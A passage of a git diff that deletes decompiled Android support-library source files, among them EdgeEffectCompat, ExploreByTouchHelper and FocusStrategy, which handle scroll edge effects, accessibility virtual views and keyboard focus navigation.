/home/trevor/apk_decompile/classes.dex */ -public final class EdgeEffectCompat { - private static final EdgeEffectImpl IMPL = new EdgeEffectLollipopImpl(); - private Object mEdgeEffect; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface EdgeEffectImpl { - boolean draw(Object obj, Canvas canvas); - - void finish(Object obj); - - boolean isFinished(Object obj); - - Object newEdgeEffect(Context context); - - boolean onAbsorb(Object obj, int i); - - boolean onPull(Object obj, float f); - - boolean onPull(Object obj, float f, float f2); - - boolean onRelease(Object obj); - - void setSize(Object obj, int i, int i2); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseEdgeEffectImpl implements EdgeEffectImpl { - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean draw(Object obj, Canvas canvas) { - return false; - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public void finish(Object obj) { - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean isFinished(Object obj) { - return true; - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public Object newEdgeEffect(Context context) { - return null; - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onAbsorb(Object obj, int i) { - return false; - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onPull(Object obj, float f) { - return false; - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onPull(Object obj, float f, float f2) { - return false; - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onRelease(Object obj) { - return false; - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public void setSize(Object obj, int i, int i2) { - } - - BaseEdgeEffectImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class EdgeEffectIcsImpl implements EdgeEffectImpl { - EdgeEffectIcsImpl() { - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public Object newEdgeEffect(Context context) { - return EdgeEffectCompatIcs.newEdgeEffect(context); - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public void setSize(Object obj, int i, int i2) { - EdgeEffectCompatIcs.setSize(obj, i, i2); - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean isFinished(Object obj) { - return EdgeEffectCompatIcs.isFinished(obj); - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public void finish(Object obj) { - EdgeEffectCompatIcs.finish(obj); - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onPull(Object obj, float f) { - return EdgeEffectCompatIcs.onPull(obj, f); - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onRelease(Object obj) { - return EdgeEffectCompatIcs.onRelease(obj); - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onAbsorb(Object obj, int i) { - return EdgeEffectCompatIcs.onAbsorb(obj, i); - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean draw(Object obj, Canvas canvas) { - return EdgeEffectCompatIcs.draw(obj, canvas); - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onPull(Object obj, float f, float f2) { - return EdgeEffectCompatIcs.onPull(obj, f); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class EdgeEffectLollipopImpl extends EdgeEffectIcsImpl { - EdgeEffectLollipopImpl() { - } - - @Override // android.support.v4.widget.EdgeEffectCompat.EdgeEffectIcsImpl, android.support.v4.widget.EdgeEffectCompat.EdgeEffectImpl - public boolean onPull(Object obj, float f, float f2) { - return EdgeEffectCompatLollipop.onPull(obj, f, f2); - } - } - - public EdgeEffectCompat(Context context) { - this.mEdgeEffect = IMPL.newEdgeEffect(context); - } - - public void setSize(int i, int i2) { - IMPL.setSize(this.mEdgeEffect, i, i2); - } - - public boolean isFinished() { - return IMPL.isFinished(this.mEdgeEffect); - } - - public void finish() { - IMPL.finish(this.mEdgeEffect); - } - - @Deprecated - public boolean onPull(float f) { - return IMPL.onPull(this.mEdgeEffect, f); - } - - public boolean onPull(float f, float f2) { - return IMPL.onPull(this.mEdgeEffect, f, f2); - } - - public boolean onRelease() { - return IMPL.onRelease(this.mEdgeEffect); - } - - public boolean onAbsorb(int i) { - return IMPL.onAbsorb(this.mEdgeEffect, i); - } - - public boolean draw(Canvas canvas) { - return IMPL.draw(this.mEdgeEffect, canvas); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompatIcs.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompatIcs.java deleted file mode 100644 index db60869..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompatIcs.java +++ /dev/null @@ -1,46 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.graphics.Canvas; -import android.widget.EdgeEffect; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class EdgeEffectCompatIcs { - EdgeEffectCompatIcs() { - } - - public static Object newEdgeEffect(Context context) { - return new EdgeEffect(context); - } - - public static void setSize(Object obj, int i, int i2) { - ((EdgeEffect) obj).setSize(i, i2); - } - - public static boolean isFinished(Object obj) { - return ((EdgeEffect) obj).isFinished(); - } - - public static void finish(Object obj) { - ((EdgeEffect) obj).finish(); - } - - public static boolean onPull(Object obj, float f) { - ((EdgeEffect) obj).onPull(f); - return true; - } - - public static boolean onRelease(Object obj) { - EdgeEffect edgeEffect = (EdgeEffect) obj; - edgeEffect.onRelease(); - return edgeEffect.isFinished(); - } - - public static boolean onAbsorb(Object obj, int i) { - ((EdgeEffect) obj).onAbsorb(i); - return true; - } - - public static boolean draw(Object obj, Canvas canvas) { - return ((EdgeEffect) obj).draw(canvas); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompatLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompatLollipop.java deleted file mode 100644 index 7c4189b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/EdgeEffectCompatLollipop.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.widget; - -import android.widget.EdgeEffect; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class EdgeEffectCompatLollipop { - EdgeEffectCompatLollipop() { - } - - public static boolean onPull(Object obj, float f, float f2) { - ((EdgeEffect) obj).onPull(f, f2); - return true; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ExploreByTouchHelper.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ExploreByTouchHelper.java deleted file mode 100644 index b7197f0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ExploreByTouchHelper.java +++ /dev/null @@ -1,527 +0,0 @@ -package android.support.v4.widget; - -import android.graphics.Rect; -import android.os.Bundle; -import android.support.v4.media.TransportMediator; -import android.support.v4.util.SparseArrayCompat; -import android.support.v4.view.AccessibilityDelegateCompat; -import android.support.v4.view.KeyEventCompat; -import android.support.v4.view.MotionEventCompat; -import android.support.v4.view.ViewCompat; -import android.support.v4.view.ViewParentCompat; -import android.support.v4.view.accessibility.AccessibilityEventCompat; -import android.support.v4.view.accessibility.AccessibilityManagerCompat; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; -import android.support.v4.view.accessibility.AccessibilityNodeProviderCompat; -import android.support.v4.view.accessibility.AccessibilityRecordCompat; -import android.support.v4.widget.FocusStrategy; -import android.view.KeyEvent; -import android.view.MotionEvent; -import android.view.View; -import android.view.ViewParent; -import android.view.accessibility.AccessibilityEvent; -import android.view.accessibility.AccessibilityManager; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class ExploreByTouchHelper extends AccessibilityDelegateCompat { - private static final String DEFAULT_CLASS_NAME = "android.view.View"; - public static final int HOST_ID = -1; - public static final int INVALID_ID = Integer.MIN_VALUE; - private static final Rect INVALID_PARENT_BOUNDS = new Rect(Integer.MAX_VALUE, Integer.MAX_VALUE, INVALID_ID, INVALID_ID); - private static final FocusStrategy.BoundsAdapter NODE_ADAPTER = new FocusStrategy.BoundsAdapter() { // from class: android.support.v4.widget.ExploreByTouchHelper.1 - @Override // android.support.v4.widget.FocusStrategy.BoundsAdapter - public void obtainBounds(AccessibilityNodeInfoCompat accessibilityNodeInfoCompat, Rect rect) { - accessibilityNodeInfoCompat.getBoundsInParent(rect); - } - }; - private static final FocusStrategy.CollectionAdapter, AccessibilityNodeInfoCompat> SPARSE_VALUES_ADAPTER = new FocusStrategy.CollectionAdapter, AccessibilityNodeInfoCompat>() { // from class: android.support.v4.widget.ExploreByTouchHelper.2 - @Override // android.support.v4.widget.FocusStrategy.CollectionAdapter - public AccessibilityNodeInfoCompat get(SparseArrayCompat sparseArrayCompat, int i) { - return sparseArrayCompat.valueAt(i); - } - - @Override // android.support.v4.widget.FocusStrategy.CollectionAdapter - public int size(SparseArrayCompat sparseArrayCompat) { - return sparseArrayCompat.size(); - } - }; - private final View mHost; - private final AccessibilityManager mManager; - private MyNodeProvider mNodeProvider; - private final Rect mTempScreenRect = new Rect(); - private final Rect mTempParentRect = new Rect(); - private final Rect mTempVisibleRect = new Rect(); - private final int[] mTempGlobalRect = new int[2]; - private int mAccessibilityFocusedVirtualViewId = INVALID_ID; - private int mKeyboardFocusedVirtualViewId = INVALID_ID; - private int mHoveredVirtualViewId = INVALID_ID; - - private static int keyToDirection(int i) { - if (i != 19) { - if (i != 21) { - if (i != 22) { - return TransportMediator.KEYCODE_MEDIA_RECORD; - } - return 66; - } - return 17; - } - return 33; - } - - protected abstract int getVirtualViewAt(float f, float f2); - - protected abstract void getVisibleVirtualViews(List list); - - protected abstract boolean onPerformActionForVirtualView(int i, int i2, Bundle bundle); - - protected void onPopulateEventForHost(AccessibilityEvent accessibilityEvent) { - } - - protected void onPopulateEventForVirtualView(int i, AccessibilityEvent accessibilityEvent) { - } - - protected void onPopulateNodeForHost(AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - } - - protected abstract void onPopulateNodeForVirtualView(int i, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat); - - protected void onVirtualViewKeyboardFocusChanged(int i, boolean z) { - } - - public ExploreByTouchHelper(View view) { - if (view == null) { - throw new IllegalArgumentException("View may not be null"); - } - this.mHost = view; - this.mManager = (AccessibilityManager) view.getContext().getSystemService("accessibility"); - view.setFocusable(true); - if (ViewCompat.getImportantForAccessibility(view) == 0) { - ViewCompat.setImportantForAccessibility(view, 1); - } - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public AccessibilityNodeProviderCompat getAccessibilityNodeProvider(View view) { - if (this.mNodeProvider == null) { - this.mNodeProvider = new MyNodeProvider(); - } - return this.mNodeProvider; - } - - public final boolean dispatchHoverEvent(MotionEvent motionEvent) { - if (this.mManager.isEnabled() && AccessibilityManagerCompat.isTouchExplorationEnabled(this.mManager)) { - int action = motionEvent.getAction(); - if (action == 7 || action == 9) { - int virtualViewAt = getVirtualViewAt(motionEvent.getX(), motionEvent.getY()); - updateHoveredVirtualView(virtualViewAt); - return virtualViewAt != Integer.MIN_VALUE; - } else if (action == 10 && this.mAccessibilityFocusedVirtualViewId != Integer.MIN_VALUE) { - updateHoveredVirtualView(INVALID_ID); - return true; - } else { - return false; - } - } - return false; - } - - public final boolean dispatchKeyEvent(KeyEvent keyEvent) { - int i = 0; - if (keyEvent.getAction() != 1) { - int keyCode = keyEvent.getKeyCode(); - if (keyCode != 61) { - if (keyCode != 66) { - switch (keyCode) { - case 19: - case MotionEventCompat.AXIS_RUDDER /* 20 */: - case MotionEventCompat.AXIS_WHEEL /* 21 */: - case MotionEventCompat.AXIS_GAS /* 22 */: - if (KeyEventCompat.hasNoModifiers(keyEvent)) { - int keyToDirection = keyToDirection(keyCode); - int repeatCount = keyEvent.getRepeatCount() + 1; - boolean z = false; - while (i < repeatCount && moveFocus(keyToDirection, null)) { - i++; - z = true; - } - return z; - } - return false; - case MotionEventCompat.AXIS_BRAKE /* 23 */: - break; - default: - return false; - } - } - if (KeyEventCompat.hasNoModifiers(keyEvent) && keyEvent.getRepeatCount() == 0) { - clickKeyboardFocusedVirtualView(); - return true; - } - return false; - } else if (KeyEventCompat.hasNoModifiers(keyEvent)) { - return moveFocus(2, null); - } else { - if (KeyEventCompat.hasModifiers(keyEvent, 1)) { - return moveFocus(1, null); - } - return false; - } - } - return false; - } - - public final void onFocusChanged(boolean z, int i, Rect rect) { - int i2 = this.mKeyboardFocusedVirtualViewId; - if (i2 != Integer.MIN_VALUE) { - clearKeyboardFocusForVirtualView(i2); - } - if (z) { - moveFocus(i, rect); - } - } - - public final int getAccessibilityFocusedVirtualViewId() { - return this.mAccessibilityFocusedVirtualViewId; - } - - public final int getKeyboardFocusedVirtualViewId() { - return this.mKeyboardFocusedVirtualViewId; - } - - private void getBoundsInParent(int i, Rect rect) { - obtainAccessibilityNodeInfo(i).getBoundsInParent(rect); - } - - private boolean moveFocus(int i, Rect rect) { - AccessibilityNodeInfoCompat accessibilityNodeInfoCompat; - SparseArrayCompat allNodes = getAllNodes(); - int i2 = this.mKeyboardFocusedVirtualViewId; - int i3 = INVALID_ID; - AccessibilityNodeInfoCompat accessibilityNodeInfoCompat2 = i2 == Integer.MIN_VALUE ? null : allNodes.get(i2); - if (i == 1 || i == 2) { - accessibilityNodeInfoCompat = (AccessibilityNodeInfoCompat) FocusStrategy.findNextFocusInRelativeDirection(allNodes, SPARSE_VALUES_ADAPTER, NODE_ADAPTER, accessibilityNodeInfoCompat2, i, ViewCompat.getLayoutDirection(this.mHost) == 1, false); - } else if (i == 17 || i == 33 || i == 66 || i == 130) { - Rect rect2 = new Rect(); - int i4 = this.mKeyboardFocusedVirtualViewId; - if (i4 != Integer.MIN_VALUE) { - getBoundsInParent(i4, rect2); - } else if (rect != null) { - rect2.set(rect); - } else { - guessPreviouslyFocusedRect(this.mHost, i, rect2); - } - accessibilityNodeInfoCompat = (AccessibilityNodeInfoCompat) FocusStrategy.findNextFocusInAbsoluteDirection(allNodes, SPARSE_VALUES_ADAPTER, NODE_ADAPTER, accessibilityNodeInfoCompat2, rect2, i); - } else { - throw new IllegalArgumentException("direction must be one of {FOCUS_FORWARD, FOCUS_BACKWARD, FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - if (accessibilityNodeInfoCompat != null) { - i3 = allNodes.keyAt(allNodes.indexOfValue(accessibilityNodeInfoCompat)); - } - return requestKeyboardFocusForVirtualView(i3); - } - - private SparseArrayCompat getAllNodes() { - ArrayList arrayList = new ArrayList(); - getVisibleVirtualViews(arrayList); - SparseArrayCompat sparseArrayCompat = new SparseArrayCompat<>(); - for (int i = 0; i < arrayList.size(); i++) { - sparseArrayCompat.put(i, createNodeForChild(i)); - } - return sparseArrayCompat; - } - - private static Rect guessPreviouslyFocusedRect(View view, int i, Rect rect) { - int width = view.getWidth(); - int height = view.getHeight(); - if (i == 17) { - rect.set(width, 0, width, height); - } else if (i == 33) { - rect.set(0, height, width, height); - } else if (i == 66) { - rect.set(-1, 0, -1, height); - } else if (i == 130) { - rect.set(0, -1, width, -1); - } else { - throw new IllegalArgumentException("direction must be one of {FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - return rect; - } - - private boolean clickKeyboardFocusedVirtualView() { - int i = this.mKeyboardFocusedVirtualViewId; - return i != Integer.MIN_VALUE && onPerformActionForVirtualView(i, 16, null); - } - - public final boolean sendEventForVirtualView(int i, int i2) { - ViewParent parent; - if (i == Integer.MIN_VALUE || !this.mManager.isEnabled() || (parent = this.mHost.getParent()) == null) { - return false; - } - return ViewParentCompat.requestSendAccessibilityEvent(parent, this.mHost, createEvent(i, i2)); - } - - public final void invalidateRoot() { - invalidateVirtualView(-1, 1); - } - - public final void invalidateVirtualView(int i) { - invalidateVirtualView(i, 0); - } - - public final void invalidateVirtualView(int i, int i2) { - ViewParent parent; - if (i == Integer.MIN_VALUE || !this.mManager.isEnabled() || (parent = this.mHost.getParent()) == null) { - return; - } - AccessibilityEvent createEvent = createEvent(i, 2048); - AccessibilityEventCompat.setContentChangeTypes(createEvent, i2); - ViewParentCompat.requestSendAccessibilityEvent(parent, this.mHost, createEvent); - } - - @Deprecated - public int getFocusedVirtualView() { - return getAccessibilityFocusedVirtualViewId(); - } - - private void updateHoveredVirtualView(int i) { - int i2 = this.mHoveredVirtualViewId; - if (i2 == i) { - return; - } - this.mHoveredVirtualViewId = i; - sendEventForVirtualView(i, 128); - sendEventForVirtualView(i2, 256); - } - - private AccessibilityEvent createEvent(int i, int i2) { - if (i == -1) { - return createEventForHost(i2); - } - return createEventForChild(i, i2); - } - - private AccessibilityEvent createEventForHost(int i) { - AccessibilityEvent obtain = AccessibilityEvent.obtain(i); - ViewCompat.onInitializeAccessibilityEvent(this.mHost, obtain); - return obtain; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - super.onInitializeAccessibilityEvent(view, accessibilityEvent); - onPopulateEventForHost(accessibilityEvent); - } - - private AccessibilityEvent createEventForChild(int i, int i2) { - AccessibilityEvent obtain = AccessibilityEvent.obtain(i2); - AccessibilityRecordCompat asRecord = AccessibilityEventCompat.asRecord(obtain); - AccessibilityNodeInfoCompat obtainAccessibilityNodeInfo = obtainAccessibilityNodeInfo(i); - asRecord.getText().add(obtainAccessibilityNodeInfo.getText()); - asRecord.setContentDescription(obtainAccessibilityNodeInfo.getContentDescription()); - asRecord.setScrollable(obtainAccessibilityNodeInfo.isScrollable()); - asRecord.setPassword(obtainAccessibilityNodeInfo.isPassword()); - asRecord.setEnabled(obtainAccessibilityNodeInfo.isEnabled()); - asRecord.setChecked(obtainAccessibilityNodeInfo.isChecked()); - onPopulateEventForVirtualView(i, obtain); - if (obtain.getText().isEmpty() && obtain.getContentDescription() == null) { - throw new RuntimeException("Callbacks must add text or a content description in populateEventForVirtualViewId()"); - } - asRecord.setClassName(obtainAccessibilityNodeInfo.getClassName()); - asRecord.setSource(this.mHost, i); - obtain.setPackageName(this.mHost.getContext().getPackageName()); - return obtain; - } - - AccessibilityNodeInfoCompat obtainAccessibilityNodeInfo(int i) { - if (i == -1) { - return createNodeForHost(); - } - return createNodeForChild(i); - } - - private AccessibilityNodeInfoCompat createNodeForHost() { - AccessibilityNodeInfoCompat obtain = AccessibilityNodeInfoCompat.obtain(this.mHost); - ViewCompat.onInitializeAccessibilityNodeInfo(this.mHost, obtain); - ArrayList arrayList = new ArrayList(); - getVisibleVirtualViews(arrayList); - if (obtain.getChildCount() > 0 && arrayList.size() > 0) { - throw new RuntimeException("Views cannot have both real and virtual children"); - } - int size = arrayList.size(); - for (int i = 0; i < size; i++) { - obtain.addChild(this.mHost, ((Integer) arrayList.get(i)).intValue()); - } - return obtain; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat - public void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - super.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfoCompat); - onPopulateNodeForHost(accessibilityNodeInfoCompat); - } - - private AccessibilityNodeInfoCompat createNodeForChild(int i) { - AccessibilityNodeInfoCompat obtain = AccessibilityNodeInfoCompat.obtain(); - obtain.setEnabled(true); - obtain.setFocusable(true); - obtain.setClassName(DEFAULT_CLASS_NAME); - Rect rect = INVALID_PARENT_BOUNDS; - obtain.setBoundsInParent(rect); - obtain.setBoundsInScreen(rect); - onPopulateNodeForVirtualView(i, obtain); - if (obtain.getText() == null && obtain.getContentDescription() == null) { - throw new RuntimeException("Callbacks must add text or a content description in populateNodeForVirtualViewId()"); - } - obtain.getBoundsInParent(this.mTempParentRect); - if (this.mTempParentRect.equals(rect)) { - throw new RuntimeException("Callbacks must set parent bounds in populateNodeForVirtualViewId()"); - } - int actions = obtain.getActions(); - if ((actions & 64) == 0) { - if ((actions & 128) != 0) { - throw new RuntimeException("Callbacks must not add ACTION_CLEAR_ACCESSIBILITY_FOCUS in populateNodeForVirtualViewId()"); - } - obtain.setPackageName(this.mHost.getContext().getPackageName()); - obtain.setSource(this.mHost, i); - obtain.setParent(this.mHost); - if (this.mAccessibilityFocusedVirtualViewId == i) { - obtain.setAccessibilityFocused(true); - obtain.addAction(128); - } else { - obtain.setAccessibilityFocused(false); - obtain.addAction(64); - } - boolean z = this.mKeyboardFocusedVirtualViewId == i; - if (z) { - obtain.addAction(2); - } else if (obtain.isFocusable()) { - obtain.addAction(1); - } - obtain.setFocused(z); - if (intersectVisibleToUser(this.mTempParentRect)) { - obtain.setVisibleToUser(true); - obtain.setBoundsInParent(this.mTempParentRect); - } - obtain.getBoundsInScreen(this.mTempScreenRect); - if (this.mTempScreenRect.equals(rect)) { - this.mHost.getLocationOnScreen(this.mTempGlobalRect); - obtain.getBoundsInParent(this.mTempScreenRect); - this.mTempScreenRect.offset(this.mTempGlobalRect[0] - this.mHost.getScrollX(), this.mTempGlobalRect[1] - this.mHost.getScrollY()); - obtain.setBoundsInScreen(this.mTempScreenRect); - } - return obtain; - } - throw new RuntimeException("Callbacks must not add ACTION_ACCESSIBILITY_FOCUS in populateNodeForVirtualViewId()"); - } - - boolean performAction(int i, int i2, Bundle bundle) { - if (i == -1) { - return performActionForHost(i2, bundle); - } - return performActionForChild(i, i2, bundle); - } - - private boolean performActionForHost(int i, Bundle bundle) { - return ViewCompat.performAccessibilityAction(this.mHost, i, bundle); - } - - private boolean performActionForChild(int i, int i2, Bundle bundle) { - if (i2 != 1) { - if (i2 != 2) { - if (i2 != 64) { - if (i2 == 128) { - return clearAccessibilityFocus(i); - } - return onPerformActionForVirtualView(i, i2, bundle); - } - return requestAccessibilityFocus(i); - } - return clearKeyboardFocusForVirtualView(i); - } - return requestKeyboardFocusForVirtualView(i); - } - - private boolean intersectVisibleToUser(Rect rect) { - if (rect == null || rect.isEmpty() || this.mHost.getWindowVisibility() != 0) { - return false; - } - ViewParent parent = this.mHost.getParent(); - while (parent instanceof View) { - View view = (View) parent; - if (ViewCompat.getAlpha(view) <= 0.0f || view.getVisibility() != 0) { - return false; - } - parent = view.getParent(); - } - if (parent != null && this.mHost.getLocalVisibleRect(this.mTempVisibleRect)) { - return rect.intersect(this.mTempVisibleRect); - } - return false; - } - - private boolean requestAccessibilityFocus(int i) { - int i2; - if (this.mManager.isEnabled() && AccessibilityManagerCompat.isTouchExplorationEnabled(this.mManager) && (i2 = this.mAccessibilityFocusedVirtualViewId) != i) { - if (i2 != Integer.MIN_VALUE) { - clearAccessibilityFocus(i2); - } - this.mAccessibilityFocusedVirtualViewId = i; - this.mHost.invalidate(); - sendEventForVirtualView(i, 32768); - return true; - } - return false; - } - - private boolean clearAccessibilityFocus(int i) { - if (this.mAccessibilityFocusedVirtualViewId == i) { - this.mAccessibilityFocusedVirtualViewId = INVALID_ID; - this.mHost.invalidate(); - sendEventForVirtualView(i, 65536); - return true; - } - return false; - } - - public final boolean requestKeyboardFocusForVirtualView(int i) { - int i2; - if ((this.mHost.isFocused() || this.mHost.requestFocus()) && (i2 = this.mKeyboardFocusedVirtualViewId) != i) { - if (i2 != Integer.MIN_VALUE) { - clearKeyboardFocusForVirtualView(i2); - } - this.mKeyboardFocusedVirtualViewId = i; - onVirtualViewKeyboardFocusChanged(i, true); - sendEventForVirtualView(i, 8); - return true; - } - return false; - } - - public final boolean clearKeyboardFocusForVirtualView(int i) { - if (this.mKeyboardFocusedVirtualViewId != i) { - return false; - } - this.mKeyboardFocusedVirtualViewId = INVALID_ID; - onVirtualViewKeyboardFocusChanged(i, false); - sendEventForVirtualView(i, 8); - return true; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class MyNodeProvider extends AccessibilityNodeProviderCompat { - MyNodeProvider() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompat - public AccessibilityNodeInfoCompat createAccessibilityNodeInfo(int i) { - return AccessibilityNodeInfoCompat.obtain(ExploreByTouchHelper.this.obtainAccessibilityNodeInfo(i)); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompat - public boolean performAction(int i, int i2, Bundle bundle) { - return ExploreByTouchHelper.this.performAction(i, i2, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/FocusStrategy.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/FocusStrategy.java deleted file mode 100644 index e56fffd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/FocusStrategy.java +++ /dev/null @@ -1,266 +0,0 @@ -package android.support.v4.widget; - -import android.graphics.Rect; -import java.util.ArrayList; -import java.util.Collections; -import java.util.Comparator; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class FocusStrategy { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface BoundsAdapter { - void obtainBounds(T t, Rect rect); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface CollectionAdapter { - V get(T t, int i); - - int size(T t); - } - - private static int getWeightedDistanceFor(int i, int i2) { - return (i * 13 * i) + (i2 * i2); - } - - FocusStrategy() { - } - - public static T findNextFocusInRelativeDirection(L l, CollectionAdapter collectionAdapter, BoundsAdapter boundsAdapter, T t, int i, boolean z, boolean z2) { - int size = collectionAdapter.size(l); - ArrayList arrayList = new ArrayList(size); - for (int i2 = 0; i2 < size; i2++) { - arrayList.add(collectionAdapter.get(l, i2)); - } - Collections.sort(arrayList, new SequentialComparator(z, boundsAdapter)); - if (i != 1) { - if (i == 2) { - return (T) getNextFocusable(t, arrayList, z2); - } - throw new IllegalArgumentException("direction must be one of {FOCUS_FORWARD, FOCUS_BACKWARD}."); - } - return (T) getPreviousFocusable(t, arrayList, z2); - } - - private static T getNextFocusable(T t, ArrayList arrayList, boolean z) { - int size = arrayList.size(); - int lastIndexOf = (t == null ? -1 : arrayList.lastIndexOf(t)) + 1; - if (lastIndexOf < size) { - return arrayList.get(lastIndexOf); - } - if (!z || size <= 0) { - return null; - } - return arrayList.get(0); - } - - private static T getPreviousFocusable(T t, ArrayList arrayList, boolean z) { - int size = arrayList.size(); - int indexOf = (t == null ? size : arrayList.indexOf(t)) - 1; - if (indexOf >= 0) { - return arrayList.get(indexOf); - } - if (!z || size <= 0) { - return null; - } - return arrayList.get(size - 1); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class SequentialComparator implements Comparator { - private final BoundsAdapter mAdapter; - private final boolean mIsLayoutRtl; - private final Rect mTemp1 = new Rect(); - private final Rect mTemp2 = new Rect(); - - SequentialComparator(boolean z, BoundsAdapter boundsAdapter) { - this.mIsLayoutRtl = z; - this.mAdapter = boundsAdapter; - } - - @Override // java.util.Comparator - public int compare(T t, T t2) { - Rect rect = this.mTemp1; - Rect rect2 = this.mTemp2; - this.mAdapter.obtainBounds(t, rect); - this.mAdapter.obtainBounds(t2, rect2); - if (rect.top < rect2.top) { - return -1; - } - if (rect.top > rect2.top) { - return 1; - } - if (rect.left < rect2.left) { - return this.mIsLayoutRtl ? 1 : -1; - } else if (rect.left > rect2.left) { - return this.mIsLayoutRtl ? -1 : 1; - } else if (rect.bottom < rect2.bottom) { - return -1; - } else { - if (rect.bottom > rect2.bottom) { - return 1; - } - if (rect.right < rect2.right) { - return this.mIsLayoutRtl ? 1 : -1; - } else if (rect.right > rect2.right) { - return this.mIsLayoutRtl ? -1 : 1; - } else { - return 0; - } - } - } - } - - public static T findNextFocusInAbsoluteDirection(L l, CollectionAdapter collectionAdapter, BoundsAdapter boundsAdapter, T t, Rect rect, int i) { - Rect rect2 = new Rect(rect); - if (i == 17) { - rect2.offset(rect.width() + 1, 0); - } else if (i == 33) { - rect2.offset(0, rect.height() + 1); - } else if (i == 66) { - rect2.offset(-(rect.width() + 1), 0); - } else if (i == 130) { - rect2.offset(0, -(rect.height() + 1)); - } else { - throw new IllegalArgumentException("direction must be one of {FOCUS_UP, FOCUS_DOWN, FOCUS_LEFT, FOCUS_RIGHT}."); - } - int size = collectionAdapter.size(l); - Rect rect3 = new Rect(); - T t2 = null; - for (int i2 = 0; i2 < size; i2++) { - T t3 = collectionAdapter.get(l, i2); - if (t3 != t) { - boundsAdapter.obtainBounds(t3, rect3); - if (isBetterCandidate(i, rect, rect3, rect2)) { - rect2.set(rect3); - t2 = t3; - } - } - } - return t2; - } - - private static boolean isBetterCandidate(int i, Rect rect, Rect rect2, Rect rect3) { - if (isCandidate(rect, rect2, i)) { - if (isCandidate(rect, rect3, i) && !beamBeats(i, rect, rect2, rect3)) { - return !beamBeats(i, rect, rect3, rect2) && getWeightedDistanceFor(majorAxisDistance(i, rect, rect2), minorAxisDistance(i, rect, rect2)) < getWeightedDistanceFor(majorAxisDistance(i, rect, rect3), minorAxisDistance(i, rect, rect3)); - } - return true; - } - return false; - } - - private static boolean beamBeats(int i, Rect rect, Rect rect2, Rect rect3) { - boolean beamsOverlap = beamsOverlap(i, rect, rect2); - if (beamsOverlap(i, rect, rect3) || !beamsOverlap) { - return false; - } - return !isToDirectionOf(i, rect, rect3) || i == 17 || i == 66 || majorAxisDistance(i, rect, rect2) < majorAxisDistanceToFarEdge(i, rect, rect3); - } - - private static boolean isCandidate(Rect rect, Rect rect2, int i) { - if (i == 17) { - return (rect.right > rect2.right || rect.left >= rect2.right) && rect.left > rect2.left; - } else if (i == 33) { - return (rect.bottom > rect2.bottom || rect.top >= rect2.bottom) && rect.top > rect2.top; - } else if (i == 66) { - return (rect.left < rect2.left || rect.right 